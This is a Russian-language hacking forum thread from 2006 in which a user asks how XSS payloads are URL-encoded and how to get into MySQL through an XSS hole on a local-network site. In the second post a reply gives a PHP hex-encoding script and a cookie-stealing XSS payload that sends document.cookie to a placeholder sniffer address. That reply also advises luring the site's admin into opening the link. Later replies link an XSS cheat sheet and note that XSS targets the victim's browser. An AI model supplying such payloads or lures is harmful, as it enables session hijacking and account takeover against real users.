Кодировка скриптов

Discussion in 'PHP' started by LoFFi, 21 Feb 2006.

  1. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    Подскажите плз как кодируют скрипты?
    Ну типа как при XSS например код что то вроде "><script>alert('lol')</script> а получаеться что то типа ...72%69%70%74%3e...

    Да, и еще. Вот я в локалке нашел сайт, на котором дыра XSS, я попытался на прямую прописать <script>SHOW DATABASES;</script> После запроса оно меня посекло. Как можно спятать, или по другому добраться до MySQL?
     
  2. Evolution

    Evolution Elder - Старейшина

    Joined:
    9 Sep 2005
    Messages:
    77
    Likes Received:
    16
    Reputations:
    1
    вот скрипт:
    <?
    $str = urldecode($_SERVER['QUERY_STRING']);
    for($i=0;$i<strlen($str);$i++) {
    $hex=dechex(ord($str[$i]));
    if($str[$i]=='&')
    echo "$str[$i]";
    else
    echo "%$hex";
    }
    ?>
    а насчёт твоего вопроса про xss.
    что ты там пишешь? что тебя просекло?
    ты не то пишешь, тебе надо вставить место твоего(<script>SHOW DATABASES;</script>)непонятно кода, ссылку на снифер, примерно так: <script src="http://tvoi_snifer?"+document.cookie;></script> где "http://tvoi_snifer"-адрес снифера, куда придут куки.
    ну и дать ету ссылку админу, как он пройдёт по этой ссылке, к тебе на снифер придут куки.
     
    #2 Evolution, 21 Feb 2006
    Last edited: 21 Feb 2006
    1 person likes this.
  3. Tem

    Tem -

    Joined:
    5 Oct 2005
    Messages:
    557
    Likes Received:
    157
    Reputations:
    179
    Что это такое (<script>SHOW DATABASES;</script>), в первые вижу такой запрос к базе, тебе надо прочитать синтаксисы в MySQL, или Sql-injection,статью, иши на форум их полно тута.
     
  4. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    Вот такой общий вопрос, могу ли я через XSS как нить попасть в MySQL? Если да, то как? я даже не знаю имени базы
     
  5. w4rd3n

    w4rd3n Banned

    Joined:
    6 Oct 2005
    Messages:
    143
    Likes Received:
    3
    Reputations:
    -4
    Нет не можешь ни как...!
    Не считая получить shell найти пароль от sql
     
  6. vectorg

    vectorg Противоядие

    Joined:
    7 Aug 2005
    Messages:
    335
    Likes Received:
    140
    Reputations:
    236
    если не допёрло что делать из второго поста, иди сюда -> http://ha.ckers.org/xss.html, прокручивай в самый низ, ну а дальше и так всё ясно... ;)
     
  7. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    Вы тут только не нервничайте =) Просто есть сайт (в локале) на котором есть дыра XSS. На сайте нет никакой страницы входа, она просто выводит данные из MySQL. Права на все папки выставлены. Есть способ пробраться в MySQL?
     
  8. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    10000000 раз повторяем: XSS - дает возможность навредить ИСКЛЮЧИТЕЛЬНО браузеру жертвы. У тебя есть жертва, у которой нужно украсть куки, редиректнуть ее на другую страницу, и т д?